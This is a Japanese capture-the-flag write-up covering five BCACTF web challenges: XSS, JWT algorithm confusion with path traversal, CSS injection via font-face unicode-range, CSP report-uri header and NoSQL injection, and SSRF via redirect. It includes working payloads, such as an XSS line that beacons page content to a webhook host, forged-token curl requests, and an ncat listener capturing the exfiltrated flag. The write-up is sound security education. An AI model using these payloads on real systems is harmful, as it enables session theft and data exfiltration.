6/11 - 6/14という日程で開催された。zer0ptsで参加して3位。
- [webex 200] Regular Website (87 solves)
- [webex 300] L10N Poll (46 solves)
- [webex 400] Stylish (28 solves)
- [webex 450] Completely Secure Publishing (24 solves)
- [webex 450] Gerald Catalog (7 solves)
[webex 200] Regular Website (87 solves)
Webexと聞くとCiscoを思い出してしまうけど、こちらのwebexはweb exploitationの略。XSS botのコードはこんな感じ:
const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!"); const page = await (await browser).newPage(); await page.setJavaScriptEnabled(true); try { await page.setContent(` <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Comment</title> </head> <body> <p>Welcome to the Regular Website admin panel.</p> <h2>Site Stats</h2> <p><strong>Comments:</strong> ???</p> <p><strong>Flag:</strong> ${flag}</p> <h2>Latest Comment</h2> ${sanitized} </body> </html> `, {timeout: 3000, waitUntil: "networkidle2"}); } catch (e) { console.error(e); ctx.status = 500; ctx.body = "error viewing comment"; await page.close(); return; } ctx.body = `The author of this site has ${verbs[Math.floor(Math.random() * verbs.length)]} your comment.`; await page.close();
const sanitized = text.replace(/<[\s\S]*>/g, "XSS DETECTED!!!!!!");
ですべてのHTMLタグが削除されてしまうように思えるが、>
で閉じなければ回避できる。<img src=x onerror="navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)"
でフラグが得られる。
[webex 300] L10N Poll (46 solves)
JWT + Path Traversal問。署名の検証に使用するアルゴリズムはチェックされていないから、ヘッダの alg
を RS256
から HS256
に変えてやるとRS256の公開鍵がHS256の秘密鍵として使われてしまう。公開鍵は以下の手順で得られる。
$ curl -i http://web.bcactf.com:49159/localization-language -H "Content-Type: application/json" -d '{"language":"key"}' HTTP/1.1 302 Found Set-Cookie: lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts; path=/; httponly Location: / Content-Type: text/html; charset=utf-8 Content-Length: 33 Date: Sun, 13 Jun 2021 06:20:28 GMT Connection: keep-alive Keep-Alive: timeout=5 Redirecting to <a href="/">/</a>. $ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzU2NTIyOH0.CB59-6L-El9vzpP7EOSGEmi5d7b2QOM74hGNHoTNis9ewlbqHIR_Nj1ZOwXnJVwaRgZpdHGV2DcCCcOC9Uaa7eTIL65Bcpb92ykEQMKqSNHA6_qaS48he6WmmFNWflIV1Uc53JpVHFwzZ-o8Ck1oyU2CGGTaAzGdRXaZlsBjMts" -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48Tjxf bUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJh PMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PW M7N2P4b2Xf3p7ZtaewIDAQAB -----END PUBLIC KEY-----
{"language": "flag.txt","iat": 1623565107}
というデータをJSON Web Tokens - jwt.ioで署名してCookieにセットするとフラグが得られる。
$ curl http://web.bcactf.com:49159/localisation-file -b "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoxNjIzNTY1MTA3fQ.UY-gbngKIaPZgCVsmCUYfkQVcU365AMICv3WvOwsnec" bcactf{je_suis_desole_jai_utilise_google_translate_beaucoup_dfW78ertjk}
JWT周りで便利な記事やツール:
- セキュリティ視点からの JWT 入門 - blog of morioka12
- JSON Web Tokens - jwt.io
- GitHub - ticarpi/jwt_tool: A toolkit for testing, tweaking and cracking JSON Web Tokens
[webex 400] Stylish (28 solves)
CSS Injection。読み出したいテキストは input
要素の属性値などではないが、[0-9A-F]
と使われる文字種は決まっているし、どの文字も一度しか出現しないので @font-face
の unicode-range
を使う手法で読み出せる。
// ペイロード作るやつ var payload = ''; for (const c of '0123456789ABCDEF') { payload += `@font-face{font-family:a;src:url(http://...?${c});unicode-range:U+00${c.charCodeAt(0).toString(16)}}` } payload += ` .d{font-family:a;} `; var bg = document.querySelector('#bg') var bgs = "#ffffff;}" + payload + "*{"; bg.type = 'text'; bg.value = bgs;
CSS Injection周りで便利な記事やツール:
- CSS Injection 再入門 – やっていく気持ち
- Masato Kinugawa Security Blog: @font-faceのunicode-rangeを利用してCSSだけでテキストを読み出す
- GitHub - m---/onsen: ONdemand csS injEctioN tool
- sqrtrev先生の別解: sqrtrev on Twitter: "I just solved a web challenge from bcactf because of @l33d0hyun 's request. I used nth-child and background url of css for leaking admin's passcode. here is the full payload. https://t.co/7no1a2DInF"
[webex 450] Completely Secure Publishing (24 solves)
問題名の通りContent Security Policy問。report-uri
というディレクティブを使って、こんな感じでユーザが投稿する記事ごとにCSP違反の情報を収集していた:
res.set("Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=${req.params.id}`);
app.post("/report-csp-violation", (req, res) => { if (!req.query || typeof req.query.id !== "string") return res.status(400).send("id must be a string"); if (typeof req.body !== "object" || typeof req.body["csp-report"] !== "object") return res.status(400).send("not a csp report"); db.update({_id: req.query.id}, {$inc: {cspViolations: 1, cspChars: req.body["csp-report"]["script-sample"]?.length || 0}}, {}, (error, count, _) => { if (error) { console.error(error); res.sendStatus(500); } else if (count > 0) { res.sendStatus(200); } else { res.sendStatus(404); } }); });
report-uri /report-csp-violation?id=${req.params.id}
からわかるようにHTTP Header Injectionができる。このIDにNoSQL Injectionで nekoneko http:\\example.com
みたいな文字列を仕込んでやると、CSP違反があれば nekoneko
だけでなく http://example.com
にもその内容が報告されるようになる。
CSPはユーザが投稿した記事を閲覧できるページで有効化されており、adminがアクセスした場合にはHTML Injectionが可能な箇所以降にフラグが出力されるので、<style>
を仕込んでやればフラグを style
要素のコンテンツに含めさせることができる。インラインのCSSは style-src 'report-sample'
に違反しているから、フラグは http://example.com
に送信される。
$ curl 'http://webp.bcactf.com:49154/publish' -H 'Content-Type: application/json' --data-raw '{"title":"abc","content":"<style>","_id":"nekoneko http:\u005c\u005cexample.com"}' $ curl 'http://webp.bcactf.com:49154/visit' -H 'Content-Type: application/json' --data-raw '{"id":"nekoneko http:\u005c\u005cexample.com"}'
$ sudo ncat -lvp 80 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::80 Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 192.155.88.173. Ncat: Connection from 192.155.88.173:35966. POST / HTTP/1.1 Host: example.com Connection: keep-alive Content-Length: 794 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4469.0 Safari/537.36 Content-Type: application/csp-report Accept: */* Origin: http://localhost:1337 Referer: http://localhost:1337/ Accept-Encoding: gzip, deflate {"csp-report":{"document-uri":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","referrer":"","violated-directive":"style-src-elem","effective-directive":"style-src-elem","original-policy":"child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sample'; style-src 'report-sample'; worker-src 'none'; report-uri /report-csp-violation?id=nekoneko http:\\\\example.com","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:1337/page/nekoneko%20http%3A%5C%5Cexample.com","status-code":200,"script-sample":"\u003Cp\u003EPrize: bcactf{csp_g0_brr_g84en9}\u003C/p\u003E\u003C"}}
[webex 450] Gerald Catalog (7 solves)
SSRF + プッシュ通知問。ソースコードがちょっと複雑なためか、解法は簡単なはずなんだけど正答チーム数は少なかった。まずSSRFについて、adminに http://localhost:1337/gerald/(adminしか読めない記事のID)
を踏ませることさえできればフラグがプッシュ通知で飛んでくるんだけど、adminがアクセスするURLは以下のようにポート番号やらホスト名やらがチェックされている。これはリダイレクトでバイパスできる。
export function validateSubscription(data: unknown): Subscription | undefined { if (typeof data !== "object") return; const subscription = data as Record<any, unknown>; if (typeof subscription.endpoint !== "string") return; if (typeof subscription.keys !== "object") return; const keys = subscription.keys as Record<any, unknown>; if (typeof keys.auth !== "string") return; if (typeof keys.p256dh !== "string") return; try { const url = new URL(subscription.endpoint); if (url.port !== "80" && url.port !== "443" && url.port !== "") return; if (bannedHosts.includes(url.hostname)) return; if (url.host.includes(":")) return; if (url.host.includes("bcactf.com")) return; if (url.host.includes("192.168.")) return; if (url.hostname.startsWith("127.")) return; if (url.protocol !== "http:" && url.protocol !== "https:") return; } catch (e) { return; } return {endpoint: subscription.endpoint, keys: {auth: keys.auth, p256dh: keys.p256dh}}; }
fb062fed-59d8-404f-a0e7-a89cac65c847
というadminしか読めない記事、ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce
という誰でも読める記事があるとして、以下の手順でフラグがプッシュ通知で飛んでくる。sw.js
に適当にブレークポイントを置いておけばその内容を読めるはず。
$ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce/subscription' \ -X 'PUT' \ -H 'Content-Type: application/json' \ -H 'Cookie: lion-token=…' \ --data-raw '{"endpoint":"http://(localhost/gerald/fb062fed-59d8-404f-a0e7-a89cac65c847にリダイレクトさせるページのURL)","expirationTime":null,"keys":{"p256dh":"...","auth":"..."}}' \ --insecure $ curl 'https://web.bcactf.com:49163/gerald/ecc5b9d5-cf17-4cef-9c6f-aca86f8e08ce' --insecure